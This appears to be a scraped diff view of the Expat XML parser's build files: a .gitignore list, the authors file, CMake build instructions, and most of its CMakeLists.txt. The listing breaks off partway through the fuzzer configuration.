config.status
expat_config.h.in
expat_config.h
libtool
expat.ncb
expat.opt
Release
expat.zip
lib
.project
expat.pc
*.gcda
*.gcno
*.gcov
*.nccout
*.expand
/callgraph.svg
/libexpat.so.*
/run.sh
build__R*
coverage__R*
source__R*
/expat-*.tar.*
/stamp-h1
/libexpat*.dll
/changelog
+10
View File
@@ -0,0 +1,10 @@
Expat is brought to you by:
Clark Cooper
Fred L. Drake, Jr.
Greg Stein
James Clark
Karl Waclawek
Rhodri James
Sebastian Pipping
Steven Solie
+42
View File
@@ -0,0 +1,42 @@
== How to build expat with cmake (experimental) ==
The cmake based buildsystem for expat works on Windows (cygwin, mingw, Visual
Studio) and should work on all other platform cmake supports.
Assuming ~/expat-2.5.0 is the source directory of expat, add a subdirectory
build and change into that directory:
~/expat-2.5.0$ mkdir build && cd build
~/expat-2.5.0/build$
From that directory, call cmake first, then call make, make test and
make install in the usual way:
~/expat-2.5.0/build$ cmake ..
-- The C compiler identification is GNU
-- The CXX compiler identification is GNU
....
-- Configuring done
-- Generating done
-- Build files have been written to: /home/patrick/expat-2.5.0/build
If you want to specify the install location for your files, append
-DCMAKE_INSTALL_PREFIX=/your/install/path to the cmake call.
~/expat-2.5.0/build$ make && make test && make install
Scanning dependencies of target expat
[ 5%] Building C object CMakeFiles/expat.dir/lib/xmlparse.c.o
[ 11%] Building C object CMakeFiles/expat.dir/lib/xmlrole.c.o
....
-- Installing: /usr/local/lib/pkgconfig/expat.pc
-- Installing: /usr/local/bin/xmlwf
-- Installing: /usr/local/share/man/man1/xmlwf.1
For Windows builds, you must make sure to call cmake from an environment where
your compiler is reachable, that means either you call it from the
Visual Studio Command Prompt or when using mingw, you must open a cmd.exe and
make sure that gcc can be called. On Windows, you also might want to specify a
special Generator for CMake:
for Visual Studio builds do:
cmake .. -G "Visual Studio 15 2017" && msbuild /m expat.sln
for mingw builds do:
cmake .. -G "MinGW Makefiles" -DCMAKE_INSTALL_PREFIX=D:\expat-install
&& gmake && gmake install
+921
View File
@@ -0,0 +1,921 @@
# __ __ _
# ___\ \/ /_ __ __ _| |_
# / _ \\ /| '_ \ / _` | __|
# | __// \| |_) | (_| | |_
# \___/_/\_\ .__/ \__,_|\__|
# |_| XML parser
#
# Copyright (c) 2010 Patrick Spendrin <ps_ml@gmx.de>
# Copyright (c) 2012 Karl Waclawek <karl@waclawek.net>
# Copyright (c) 2016-2022 Sebastian Pipping <sebastian@pipping.org>
# Copyright (c) 2016 Sergei Nikulov <sergey.nikulov@gmail.com>
# Copyright (c) 2016 Björn Lindahl <bjorn.lindahl@foi.se>
# Copyright (c) 2016 Tobias Taschner <github@tc84.de>
# Copyright (c) 2016 Ben Boeckel <ben.boeckel@kitware.com>
# Copyright (c) 2017 Rhodri James <rhodri@wildebeest.org.uk>
# Copyright (c) 2017 Rolf Eike Beer <eike@sf-mail.de>
# Copyright (c) 2017 Stephen Groat <stephen@groat.us>
# Copyright (c) 2017 Franek Korta <fkorta@gmail.com>
# Copyright (c) 2018 pedro-vicente <pedro.vicente@space-research.org>
# Copyright (c) 2018 Frank Rast <frank.rast@gefeg.com>
# Copyright (c) 2018 userwithuid <userwithuid@gmail.com>
# Copyright (c) 2018 Yury Gribov <tetra2005@gmail.com>
# Copyright (c) 2019 Kishore Kunche <kishore.kunche@intel.com>
# Copyright (c) 2019 xantares <xantares09@hotmail.com>
# Copyright (c) 2019 Mohammed Khajapasha <mohammed.khajapasha@intel.com>
# Copyright (c) 2019 David Loffredo <loffredo@steptools.com>
# Copyright (c) 2019 Bhargava Shastry <bhargava.shastry@ethereum.org>
# Copyright (c) 2020 Maciej Sroczyński <macieksroczynski@poczta.fm>
# Copyright (c) 2020 Gulliver <gulliver@traumkristalle.net>
# Copyright (c) 2020 Thomas Beutlich <tc@tbeu.de>
# Copyright (c) 2021 Alex Richardson <Alexander.Richardson@cl.cam.ac.uk>
# Copyright (c) 2022 Johnny Jazeix <jazeix@gmail.com>
# Copyright (c) 2022 David Faure <david.faure@kdab.com>
# Unlike most of Expat,
# this file is copyrighted under the BSD-license for buildsystem files of KDE.
cmake_minimum_required(VERSION 3.1.3)
project(expat
VERSION
2.5.0
LANGUAGES
C
)
set(PACKAGE_BUGREPORT "expat-bugs@libexpat.org")
set(PACKAGE_NAME "expat")
set(PACKAGE_VERSION "${PROJECT_VERSION}")
set(PACKAGE_STRING "${PACKAGE_NAME} ${PACKAGE_VERSION}")
set(PACKAGE_TARNAME "${PACKAGE_NAME}")
include(CMakePackageConfigHelpers)
include(GNUInstallDirs)
#
# Configuration defaults
#
if(WINCE)
set(_EXPAT_BUILD_TOOLS_DEFAULT OFF)
else()
set(_EXPAT_BUILD_TOOLS_DEFAULT ON)
endif()
if(MSVC OR NOT _EXPAT_BUILD_TOOLS_DEFAULT)
set(_EXPAT_BUILD_DOCS_DEFAULT OFF)
else()
find_program(DOCBOOK_TO_MAN NAMES docbook2x-man db2x_docbook2man docbook2man docbook-to-man)
if(DOCBOOK_TO_MAN)
set(_EXPAT_BUILD_DOCS_DEFAULT ON)
else()
set(_EXPAT_BUILD_DOCS_DEFAULT OFF)
endif()
endif()
if(MSVC)
set(_EXPAT_BUILD_PKGCONFIG_DEFAULT OFF)
else()
set(_EXPAT_BUILD_PKGCONFIG_DEFAULT ON)
endif()
if(DEFINED BUILD_SHARED_LIBS)
set(_EXPAT_SHARED_LIBS_DEFAULT ${BUILD_SHARED_LIBS})
else()
set(_EXPAT_SHARED_LIBS_DEFAULT ON)
endif()
if(NOT CMAKE_BUILD_TYPE)
set(CMAKE_BUILD_TYPE NoConfig) # so that accessing EXPAT_*_POSTFIX will be waterproof
endif()
string(TOUPPER "${CMAKE_BUILD_TYPE}" _EXPAT_BUILD_TYPE_UPPER)
#
# Configuration
#
macro(expat_shy_set var default cache type desc)
# Macro expat_shy_set came into life because:
# - Expat was previously using an inconsistent mix of CMake's native set()
# and option() to define public build time options.
# - option() is more friendly than set() with regard to configuring an
# external project that is pulled in by means of add_subdirectory() --
# see comments in issue #597 -- so we wanted to get away from set().
# - option() auto-converts non-bool values to bool when writing to the CMake
# cache, so we needed something that supports non-bool better and hence
# wanted to get away from plain option(), too.
#
# As a result, this function serves as a hybrid between CMake's regular set()
# and option(): from set() it takes support for non-bool types and the function
# name and signature whereas from option() (with policy CMP0077 mode NEW) it
# takes being shy when a value has previously been defined for that variable.
#
# So that resolves all need for set(.. FORCE) when pulling in Expat by means of
# add_subdirectory().
#
if(NOT ${cache} STREQUAL "CACHE")
message(SEND_ERROR "Macro usage is: expat_shy_set(var default CACHE type desc)")
endif()
if(DEFINED ${var})
# NOTE: The idea is to (ideally) only add to the cache if
# there is no cache entry, yet. "if(DEFINED CACHE{var})"
# requires CMake >=3.14.
if(CMAKE_VERSION VERSION_GREATER_EQUAL "3.14" AND NOT DEFINED "CACHE{${var}}")
set("${var}" "${${var}}" CACHE "${type}" "${desc}")
endif()
else()
set("${var}" "${default}" CACHE "${type}" "${desc}")
endif()
endmacro()
expat_shy_set(EXPAT_BUILD_TOOLS ${_EXPAT_BUILD_TOOLS_DEFAULT} CACHE BOOL "Build the xmlwf tool for expat library")
expat_shy_set(EXPAT_BUILD_EXAMPLES ON CACHE BOOL "Build the examples for expat library")
expat_shy_set(EXPAT_BUILD_TESTS ON CACHE BOOL "Build the tests for expat library")
expat_shy_set(EXPAT_SHARED_LIBS ${_EXPAT_SHARED_LIBS_DEFAULT} CACHE BOOL "Build a shared expat library")
expat_shy_set(EXPAT_BUILD_DOCS ${_EXPAT_BUILD_DOCS_DEFAULT} CACHE BOOL "Build man page for xmlwf")
expat_shy_set(EXPAT_BUILD_FUZZERS OFF CACHE BOOL "Build fuzzers for the expat library")
expat_shy_set(EXPAT_BUILD_PKGCONFIG ${_EXPAT_BUILD_PKGCONFIG_DEFAULT} CACHE BOOL "Build pkg-config file")
expat_shy_set(EXPAT_OSSFUZZ_BUILD OFF CACHE BOOL "Build fuzzers via ossfuzz for the expat library")
if(UNIX OR _EXPAT_HELP)
expat_shy_set(EXPAT_WITH_LIBBSD OFF CACHE BOOL "Utilize libbsd (for arc4random_buf)")
endif()
expat_shy_set(EXPAT_ENABLE_INSTALL ON CACHE BOOL "Install expat files in cmake install target")
expat_shy_set(EXPAT_CONTEXT_BYTES 1024 CACHE STRING "Define to specify how much context to retain around the current parse point")
mark_as_advanced(EXPAT_CONTEXT_BYTES)
expat_shy_set(EXPAT_DTD ON CACHE BOOL "Define to make parameter entity parsing functionality available")
mark_as_advanced(EXPAT_DTD)
expat_shy_set(EXPAT_NS ON CACHE BOOL "Define to make XML Namespaces functionality available")
mark_as_advanced(EXPAT_NS)
expat_shy_set(EXPAT_WARNINGS_AS_ERRORS OFF CACHE BOOL "Treat all compiler warnings as errors")
if(UNIX OR _EXPAT_HELP)
expat_shy_set(EXPAT_DEV_URANDOM ON CACHE BOOL "Define to include code reading entropy from `/dev/urandom'.")
expat_shy_set(EXPAT_WITH_GETRANDOM "AUTO" CACHE STRING "Make use of getrandom function (ON|OFF|AUTO) [default=AUTO]")
expat_shy_set(EXPAT_WITH_SYS_GETRANDOM "AUTO" CACHE STRING "Make use of syscall SYS_getrandom (ON|OFF|AUTO) [default=AUTO]")
mark_as_advanced(EXPAT_DEV_URANDOM)
endif()
expat_shy_set(EXPAT_CHAR_TYPE "char" CACHE STRING "Character type to use (char|ushort|wchar_t) [default=char]")
expat_shy_set(EXPAT_ATTR_INFO OFF CACHE BOOL "Define to allow retrieving the byte offsets for attribute names and values")
mark_as_advanced(EXPAT_ATTR_INFO)
expat_shy_set(EXPAT_LARGE_SIZE OFF CACHE BOOL "Make XML_GetCurrent* functions return <(unsigned) long long> rather than <(unsigned) long>")
mark_as_advanced(EXPAT_LARGE_SIZE)
expat_shy_set(EXPAT_MIN_SIZE OFF CACHE BOOL "Get a smaller (but slower) parser (in particular avoid multiple copies of the tokenizer)")
mark_as_advanced(EXPAT_MIN_SIZE)
if(MSVC OR _EXPAT_HELP)
expat_shy_set(EXPAT_MSVC_STATIC_CRT OFF CACHE BOOL "Use /MT flag (static CRT) when compiling in MSVC")
endif()
if(NOT _EXPAT_HELP)
expat_shy_set(_EXPAT_M32 OFF CACHE BOOL "(Unofficial!) Produce 32bit code with -m32")
mark_as_advanced(_EXPAT_M32)
endif()
if(EXPAT_BUILD_TESTS)
# We have to call enable_language() before modifying any CMAKE_CXX_* variables
enable_language(CXX)
endif()
#
# Environment checks
#
if(EXPAT_WITH_LIBBSD)
find_library(LIB_BSD NAMES bsd)
if(NOT LIB_BSD)
message(SEND_ERROR "EXPAT_WITH_LIBBSD option is enabled, but libbsd was not found")
else()
set(HAVE_LIBBSD TRUE)
endif()
endif()
if(MSVC)
# For the three types of MSVC version values, please see:
# - https://cmake.org/cmake/help/latest/variable/MSVC_VERSION.html
# - https://sourceforge.net/p/predef/wiki/Compilers/
# - https://en.wikipedia.org/wiki/Microsoft_Visual_Studio#History
set(_EXPAT_MSVC_REQUIRED_INT 1800) # i.e. 12.0/2013/1800; see PR #426
set(_EXPAT_MSVC_SUPPORTED_INT 1910)
set(_EXPAT_MSVC_SUPPORTED_DISPLAY "Visual Studio 15.0/2017/${_EXPAT_MSVC_SUPPORTED_INT}")
if(MSVC_VERSION VERSION_LESS ${_EXPAT_MSVC_SUPPORTED_INT})
if(MSVC_VERSION VERSION_LESS ${_EXPAT_MSVC_REQUIRED_INT})
message(SEND_ERROR "MSVC_VERSION ${MSVC_VERSION} is TOO OLD to compile Expat without errors.")
message(SEND_ERROR "Please use officially supported ${_EXPAT_MSVC_SUPPORTED_DISPLAY} or later. Thank you!")
else()
message(WARNING "MSVC_VERSION ${MSVC_VERSION} is NOT OFFICIALLY SUPPORTED by Expat.")
message(WARNING "Please use ${_EXPAT_MSVC_SUPPORTED_DISPLAY} or later. Thank you!")
endif()
endif()
endif()
macro(_expat_copy_bool_int source_ref dest_ref)
if(${source_ref})
set(${dest_ref} 1)
else()
set(${dest_ref} 0)
endif()
endmacro()
if(EXPAT_LARGE_SIZE)
add_definitions(-DXML_LARGE_SIZE)
endif()
if(EXPAT_MIN_SIZE)
add_definitions(-DXML_MIN_SIZE)
endif()
if(EXPAT_CHAR_TYPE STREQUAL "char")
set(_EXPAT_UNICODE OFF)
set(_EXPAT_UNICODE_WCHAR_T OFF)
elseif(EXPAT_CHAR_TYPE STREQUAL "ushort")
set(_EXPAT_UNICODE ON)
set(_EXPAT_UNICODE_WCHAR_T OFF)
if(EXPAT_BUILD_EXAMPLES)
message(SEND_ERROR "Examples can not be built with option -DEXPAT_CHAR_TYPE=ushort. Please pass -DEXPAT_CHAR_TYPE=(char|wchar_t) or -DEXPAT_BUILD_EXAMPLES=OFF.")
endif()
if(EXPAT_BUILD_TESTS)
message(SEND_ERROR "The testsuite can not be built with option -DEXPAT_CHAR_TYPE=ushort. Please pass -DEXPAT_CHAR_TYPE=(char|wchar_t) or -DEXPAT_BUILD_TESTS=OFF.")
endif()
if(EXPAT_BUILD_TOOLS)
message(SEND_ERROR "The xmlwf tool can not be built with option -DEXPAT_CHAR_TYPE=ushort. Please pass -DEXPAT_CHAR_TYPE=(char|wchar_t) or -DEXPAT_BUILD_TOOLS=OFF.")
endif()
elseif(EXPAT_CHAR_TYPE STREQUAL "wchar_t")
set(_EXPAT_UNICODE ON)
set(_EXPAT_UNICODE_WCHAR_T ON)
if(NOT WIN32)
string(FIND "${CMAKE_C_FLAGS}" "-fshort-wchar" _expat_short_wchar_found)
if(${_expat_short_wchar_found} EQUAL "-1")
message(SEND_ERROR "Configuration -DEXPAT_CHAR_TYPE=wchar_t requires -DCMAKE_{C,CXX}_FLAGS=-fshort-wchar (which was not found) and libc compiled with -fshort-wchar, too.")
endif()
if (EXPAT_BUILD_TOOLS)
message(SEND_ERROR "The xmlwf tool can not be built with option -DEXPAT_CHAR_TYPE=wchar_t outside of Windows. Please pass -DEXPAT_CHAR_TYPE=char or -DEXPAT_BUILD_TOOLS=OFF.")
endif()
endif()
else()
message(SEND_ERROR "Option -DEXPAT_CHAR_TYPE=(char|ushort|wchar_t) cannot be \"${EXPAT_CHAR_TYPE}\".")
endif()
if(_EXPAT_UNICODE)
add_definitions(-DXML_UNICODE) # for unsigned short
if(_EXPAT_UNICODE_WCHAR_T)
add_definitions(-DXML_UNICODE_WCHAR_T) # for wchar_t
endif()
endif()
include(${CMAKE_CURRENT_LIST_DIR}/ConfigureChecks.cmake)
macro(evaluate_detection_results use_ref have_ref thing_lower thing_title)
if(${use_ref} AND NOT (${use_ref} STREQUAL "AUTO") AND NOT ${have_ref})
message(SEND_ERROR
"Use of ${thing_lower} was enforced by ${use_ref}=ON but it could not be found.")
elseif(NOT ${use_ref} AND ${have_ref})
message("${thing_title} was found but it will not be used due to ${use_ref}=OFF.")
set(${have_ref} 0)
endif()
endmacro()
if(NOT WIN32)
evaluate_detection_results(EXPAT_WITH_GETRANDOM HAVE_GETRANDOM "function getrandom" "Function getrandom")
evaluate_detection_results(EXPAT_WITH_SYS_GETRANDOM HAVE_SYSCALL_GETRANDOM "syscall SYS_getrandom" "Syscall SYS_getrandom")
endif()
_expat_copy_bool_int(EXPAT_ATTR_INFO XML_ATTR_INFO)
_expat_copy_bool_int(EXPAT_DTD XML_DTD)
_expat_copy_bool_int(EXPAT_LARGE_SIZE XML_LARGE_SIZE)
_expat_copy_bool_int(EXPAT_MIN_SIZE XML_MIN_SIZE)
_expat_copy_bool_int(EXPAT_NS XML_NS)
if(NOT WIN32)
_expat_copy_bool_int(EXPAT_DEV_URANDOM XML_DEV_URANDOM)
endif()
set(XML_CONTEXT_BYTES ${EXPAT_CONTEXT_BYTES})
macro(expat_install)
if(EXPAT_ENABLE_INSTALL)
install(${ARGN})
endif()
endmacro()
configure_file(expat_config.h.cmake "${CMAKE_CURRENT_BINARY_DIR}/expat_config.h")
expat_install(FILES "${CMAKE_CURRENT_BINARY_DIR}/expat_config.h" DESTINATION ${CMAKE_INSTALL_INCLUDEDIR})
set(EXTRA_COMPILE_FLAGS)
if(FLAG_NO_STRICT_ALIASING)
set(EXTRA_COMPILE_FLAGS "${EXTRA_COMPILE_FLAGS} -fno-strict-aliasing")
endif()
if(FLAG_VISIBILITY)
if(EXPAT_SHARED_LIBS)
add_definitions(-DXML_ENABLE_VISIBILITY=1)
endif()
set(EXTRA_COMPILE_FLAGS "${EXTRA_COMPILE_FLAGS} -fvisibility=hidden")
endif()
if(MINGW)
# Without __USE_MINGW_ANSI_STDIO the compiler produces a false positive
set(EXTRA_COMPILE_FLAGS "${EXTRA_COMPILE_FLAGS} -Wno-pedantic-ms-format")
endif()
if (EXPAT_WARNINGS_AS_ERRORS)
if(MSVC)
add_definitions(/WX)
else()
set(EXTRA_COMPILE_FLAGS "${EXTRA_COMPILE_FLAGS} -Werror")
endif()
endif()
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${EXTRA_COMPILE_FLAGS}")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} ${EXTRA_COMPILE_FLAGS}")
if (MSVC)
if (EXPAT_MSVC_STATIC_CRT)
message("-- Using static CRT ${EXPAT_MSVC_STATIC_CRT}")
foreach(flag_var
CMAKE_CXX_FLAGS_${_EXPAT_BUILD_TYPE_UPPER}
CMAKE_CXX_FLAGS_DEBUG
CMAKE_CXX_FLAGS_RELEASE
CMAKE_CXX_FLAGS_MINSIZEREL
CMAKE_CXX_FLAGS_RELWITHDEBINFO
CMAKE_C_FLAGS_${_EXPAT_BUILD_TYPE_UPPER}
CMAKE_C_FLAGS_DEBUG
CMAKE_C_FLAGS_RELEASE
CMAKE_C_FLAGS_MINSIZEREL
CMAKE_C_FLAGS_RELWITHDEBINFO
)
string(REPLACE "/MD" "/MT" ${flag_var} "${${flag_var}}")
endforeach()
endif()
endif()
if(_EXPAT_M32 AND NOT MSVC)
foreach(flag_var
CMAKE_CXX_FLAGS_${_EXPAT_BUILD_TYPE_UPPER}
CMAKE_CXX_FLAGS_DEBUG
CMAKE_CXX_FLAGS_RELEASE
CMAKE_CXX_FLAGS_MINSIZEREL
CMAKE_CXX_FLAGS_RELWITHDEBINFO
CMAKE_C_FLAGS_${_EXPAT_BUILD_TYPE_UPPER}
CMAKE_C_FLAGS_DEBUG
CMAKE_C_FLAGS_RELEASE
CMAKE_C_FLAGS_MINSIZEREL
CMAKE_C_FLAGS_RELWITHDEBINFO
)
set(${flag_var} "${${flag_var}} -m32")
endforeach()
endif()
include_directories(${CMAKE_CURRENT_BINARY_DIR} ${CMAKE_CURRENT_SOURCE_DIR}/lib)
if(MSVC)
add_definitions(-D_CRT_SECURE_NO_WARNINGS -wd4996)
endif()
#
# C library
#
set(_EXPAT_C_SOURCES
lib/xmlparse.c
lib/xmlrole.c
lib/xmltok.c
# NOTE: ISO C forbids an empty translation unit
# lib/xmltok_impl.c
# lib/xmltok_ns.c
)
if(EXPAT_SHARED_LIBS)
set(_SHARED SHARED)
if(WIN32)
macro(_expat_def_file_toggle source_var target_var)
if(${source_var})
set(${target_var} " ") # i.e. not commented out, a single space
else()
set(${target_var} ";") # i.e. commented out
endif()
endmacro()
_expat_def_file_toggle(EXPAT_DTD _EXPAT_COMMENT_DTD)
_expat_def_file_toggle(EXPAT_ATTR_INFO _EXPAT_COMMENT_ATTR_INFO)
configure_file("${CMAKE_CURRENT_SOURCE_DIR}/lib/libexpat.def.cmake" "${CMAKE_CURRENT_BINARY_DIR}/lib/libexpat.def")
set(_EXPAT_EXTRA_SOURCES ${_EXPAT_EXTRA_SOURCES} "${CMAKE_CURRENT_BINARY_DIR}/lib/libexpat.def")
# Add DLL version
string(REPLACE "." "," _EXPAT_DLL_VERSION ${PROJECT_VERSION}.0)
set(_EXPAT_EXTRA_SOURCES ${_EXPAT_EXTRA_SOURCES} win32/version.rc)
endif()
else()
set(_SHARED STATIC)
endif()
add_library(expat ${_SHARED} ${_EXPAT_C_SOURCES} ${_EXPAT_EXTRA_SOURCES})
if(_EXPAT_LIBM_FOUND)
target_link_libraries(expat m)
endif()
if(EXPAT_WITH_LIBBSD)
target_link_libraries(expat ${LIB_BSD})
endif()
#
# Library filename postfix
#
if(_EXPAT_UNICODE)
set(_POSTFIX_WIDE "w")
endif()
if(MSVC AND NOT EXPAT_SHARED_LIBS)
if(EXPAT_MSVC_STATIC_CRT)
set(_POSTFIX_CRT "MT")
else()
set(_POSTFIX_CRT "MD")
endif()
endif()
foreach(build_type_upper
${_EXPAT_BUILD_TYPE_UPPER}
DEBUG
RELEASE
MINSIZEREL
RELWITHDEBINFO
)
if(WIN32 AND build_type_upper STREQUAL "DEBUG")
set(_POSTFIX_DEBUG "d")
else()
set(_POSTFIX_DEBUG "") # needs a reset because of being looped
endif()
expat_shy_set(EXPAT_${build_type_upper}_POSTFIX "${_POSTFIX_WIDE}${_POSTFIX_DEBUG}${_POSTFIX_CRT}" CACHE STRING "Library filename postfix for build type ${build_type_upper}; yields filenames libexpat<postfix=[w][d][MD|MT]>.(dll|dylib|lib|so)")
mark_as_advanced(EXPAT_${build_type_upper}_POSTFIX)
set_property(TARGET expat PROPERTY ${build_type_upper}_POSTFIX ${EXPAT_${build_type_upper}_POSTFIX})
endforeach()
set(LIBCURRENT 9) # sync
set(LIBREVISION 10) # with
set(LIBAGE 8) # configure.ac!
math(EXPR LIBCURRENT_MINUS_AGE "${LIBCURRENT} - ${LIBAGE}")
if(NOT WIN32)
set_property(TARGET expat PROPERTY VERSION ${LIBCURRENT_MINUS_AGE}.${LIBAGE}.${LIBREVISION})
set_property(TARGET expat PROPERTY SOVERSION ${LIBCURRENT_MINUS_AGE})
set_property(TARGET expat PROPERTY NO_SONAME ${NO_SONAME})
if(APPLE)
if(NOT CMAKE_VERSION VERSION_GREATER_EQUAL 3.17)
message(FATAL_ERROR "Expat requires CMake >=3.17 on platform \"APPLE\".")
endif()
# NOTE: This intends to talk CMake into compatiblity with GNU Libtool
math(EXPR _EXPAT_MACHO_COMPATIBILITY_VERSION "${LIBCURRENT} + 1")
set(_EXPAT_MACHO_CURRENT_VERSION "${_EXPAT_MACHO_COMPATIBILITY_VERSION}.${LIBREVISION}")
set_property(TARGET expat PROPERTY MACHO_COMPATIBILITY_VERSION ${_EXPAT_MACHO_COMPATIBILITY_VERSION})
set_property(TARGET expat PROPERTY MACHO_CURRENT_VERSION ${_EXPAT_MACHO_CURRENT_VERSION})
endif()
endif()
if(MINGW AND EXPAT_SHARED_LIBS)
set_target_properties(expat PROPERTIES SUFFIX "-${LIBCURRENT_MINUS_AGE}.dll")
endif()
if(WIN32 AND NOT MINGW)
# NOTE: This avoids a name collision with Expat.dll of Perl's XML::Parser::Expat
# on Windows by resorting to filename libexpat.dll since Expat 1.95.3.
# Everything but MSVC is already adding prefix "lib", automatically.
# NOTE: "set_property(TARGET expat PROPERTY PREFIX lib)" would only affect *.dll
# files but not *.lib files, so we have to rely on property OUTPUT_NAME, instead.
# Target property <CONFIG>_POSTFIX still applies.
set(_EXPAT_OUTPUT_NAME libexpat)
set_property(TARGET expat PROPERTY OUTPUT_NAME ${_EXPAT_OUTPUT_NAME})
else()
set(_EXPAT_OUTPUT_NAME expat)
endif()
target_include_directories(expat
INTERFACE
$<BUILD_INTERFACE:${CMAKE_CURRENT_SOURCE_DIR}/lib>
$<BUILD_INTERFACE:${CMAKE_CURRENT_BINARY_DIR}>
$<INSTALL_INTERFACE:${CMAKE_INSTALL_INCLUDEDIR}>
)
if(WIN32 AND EXPAT_SHARED_LIBS)
target_compile_definitions(expat PRIVATE VER_FILEVERSION=${_EXPAT_DLL_VERSION})
endif()
expat_install(TARGETS expat EXPORT expat
RUNTIME DESTINATION ${CMAKE_INSTALL_BINDIR}
LIBRARY DESTINATION ${CMAKE_INSTALL_LIBDIR}
ARCHIVE DESTINATION ${CMAKE_INSTALL_LIBDIR})
expat_install(FILES lib/expat.h lib/expat_external.h DESTINATION ${CMAKE_INSTALL_INCLUDEDIR})
#
# pkg-config file
#
if(EXPAT_BUILD_PKGCONFIG)
if(CMAKE_INSTALL_LIBDIR MATCHES "^/")
set(_expat_pkgconfig_libdir "${CMAKE_INSTALL_LIBDIR}")
else()
set(_expat_pkgconfig_libdir "\${exec_prefix}/${CMAKE_INSTALL_LIBDIR}")
endif()
if(CMAKE_INSTALL_INCLUDEDIR MATCHES "^/")
set(_expat_pkgconfig_includedir "${CMAKE_INSTALL_INCLUDEDIR}")
else()
set(_expat_pkgconfig_includedir "\${prefix}/${CMAKE_INSTALL_INCLUDEDIR}")
endif()
set_target_properties(expat PROPERTIES
pkgconfig_prefix "${CMAKE_INSTALL_PREFIX}"
pkgconfig_exec_prefix "\${prefix}"
pkgconfig_libdir "${_expat_pkgconfig_libdir}"
pkgconfig_includedir "${_expat_pkgconfig_includedir}"
pkgconfig_version "${PACKAGE_VERSION}")
foreach(_build_type ${CMAKE_BUILD_TYPE} Debug Release RelWithDebInfo MinSizeRel)
string(TOLOWER "${_build_type}" _build_type_lower)
string(TOUPPER "${_build_type}" _build_type_upper)
set_property(TARGET expat PROPERTY "pkgconfig_${_build_type_lower}_name" "expat${EXPAT_${_build_type_upper}_POSTFIX}")
set_property(TARGET expat PROPERTY "pkgconfig_${_build_type_lower}_output_name" "${_EXPAT_OUTPUT_NAME}${EXPAT_${_build_type_upper}_POSTFIX}")
if(_EXPAT_LIBM_FOUND)
set_property(TARGET expat PROPERTY "pkgconfig_libm" "-lm")
else()
set_property(TARGET expat PROPERTY "pkgconfig_libm" "")
endif()
endforeach()
file(GENERATE
OUTPUT ${CMAKE_CURRENT_BINARY_DIR}/$<CONFIG>/expat.pc
INPUT ${PROJECT_SOURCE_DIR}/expat.pc.cmake)
expat_install(FILES ${CMAKE_CURRENT_BINARY_DIR}/$<CONFIG>/expat.pc DESTINATION ${CMAKE_INSTALL_LIBDIR}/pkgconfig)
endif()
#
# C command line tool xmlwf
#
if(EXPAT_BUILD_TOOLS)
set(xmlwf_SRCS
xmlwf/xmlwf.c
xmlwf/xmlfile.c
xmlwf/codepage.c
xmlwf/readfilemap.c
)
add_executable(xmlwf ${xmlwf_SRCS})
set_property(TARGET xmlwf PROPERTY RUNTIME_OUTPUT_DIRECTORY xmlwf)
target_link_libraries(xmlwf expat)
if(_EXPAT_LIBM_FOUND)
target_link_libraries(xmlwf m)
endif()
expat_install(TARGETS xmlwf DESTINATION ${CMAKE_INSTALL_BINDIR})
if(MINGW AND _EXPAT_UNICODE_WCHAR_T)
# https://gcc.gnu.org/onlinedocs/gcc/x86-Windows-Options.html
set_target_properties(xmlwf PROPERTIES LINK_FLAGS -municode)
endif()
if(EXPAT_BUILD_DOCS)
file(MAKE_DIRECTORY ${PROJECT_BINARY_DIR}/doc)
add_custom_target(
xmlwf-manpage
COMMAND
"${DOCBOOK_TO_MAN}" "${PROJECT_SOURCE_DIR}/doc/xmlwf.xml" && mv "XMLWF.1" "${PROJECT_BINARY_DIR}/doc/xmlwf.1"
BYPRODUCTS
doc/xmlwf.1)
add_dependencies(expat xmlwf-manpage)
expat_install(FILES "${PROJECT_BINARY_DIR}/doc/xmlwf.1" DESTINATION ${CMAKE_INSTALL_MANDIR}/man1)
elseif(EXISTS ${PROJECT_SOURCE_DIR}/doc/xmlwf.1)
expat_install(FILES "${PROJECT_SOURCE_DIR}/doc/xmlwf.1" DESTINATION ${CMAKE_INSTALL_MANDIR}/man1)
endif()
endif()
#
# C code examples
#
if(EXPAT_BUILD_EXAMPLES)
add_executable(elements examples/elements.c)
add_executable(outline examples/outline.c)
foreach(_target elements outline)
set_property(TARGET ${_target} PROPERTY RUNTIME_OUTPUT_DIRECTORY examples)
target_link_libraries(${_target} expat)
endforeach()
endif()
#
# C/C++ test runners
#
if(EXPAT_BUILD_TESTS)
## these are unittests that can be run on any platform
enable_testing()
set(test_SRCS
tests/chardata.c
tests/memcheck.c
tests/minicheck.c
tests/structdata.c
${_EXPAT_C_SOURCES}
)
if(NOT MSVC)
if(MINGW)
set(host whatever-mingw32) # for nothing but run.sh
endif()
configure_file(${CMAKE_CURRENT_SOURCE_DIR}/run.sh.in run.sh @ONLY)
endif()
function(expat_add_test _name _file)
if(MSVC)
add_test(NAME ${_name} COMMAND ${_file})
else()
add_test(NAME ${_name} COMMAND bash run.sh ${_file})
endif()
endfunction()
set(_EXPAT_TEST_TARGETS runtests runtestspp)
add_executable(runtests tests/runtests.c ${test_SRCS})
add_executable(runtestspp tests/runtestspp.cpp ${test_SRCS})
foreach(_target ${_EXPAT_TEST_TARGETS})
set_property(TARGET ${_target} PROPERTY RUNTIME_OUTPUT_DIRECTORY tests)
expat_add_test(${_target} $<TARGET_FILE:${_target}>)
if(_EXPAT_LIBM_FOUND)
target_link_libraries(${_target} m)
endif()
if(EXPAT_WITH_LIBBSD)
target_link_libraries(${_target} ${LIB_BSD})
endif()
endforeach()
endif()
#
# Fuzzers
#
if(EXPAT_BUILD_FUZZERS)
if(NOT "${CMAKE_C_COMPILER_ID}" STREQUAL "Clang")
message(SEND_ERROR
"Building fuzz targets without Clang (but ${CMAKE_C_COMPILER_ID}) "
"is not supported. Please set "
"-DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++.")
endif()
string(FIND "${CMAKE_C_FLAGS}" "-fsanitize" sanitizer_present)
if(${sanitizer_present} EQUAL "-1")
message(WARNING
"There was no sanitizer present when building the fuzz targets. "
"This is likely in error - consider adding "
"-DCMAKE_C_FLAGS='-fsanitize=<sanitizer>' and "
"-DCMAKE_CXX_FLAGS='-fsanitize=<sanitizer>' and "
"-DCMAKE_EXE_LINKER_FLAGS='-fsanitize=<sanitizer>' and "
"-DCMAKE_MODULE_LINKER_FLAGS='-fsanitize=<sanitizer>' and "
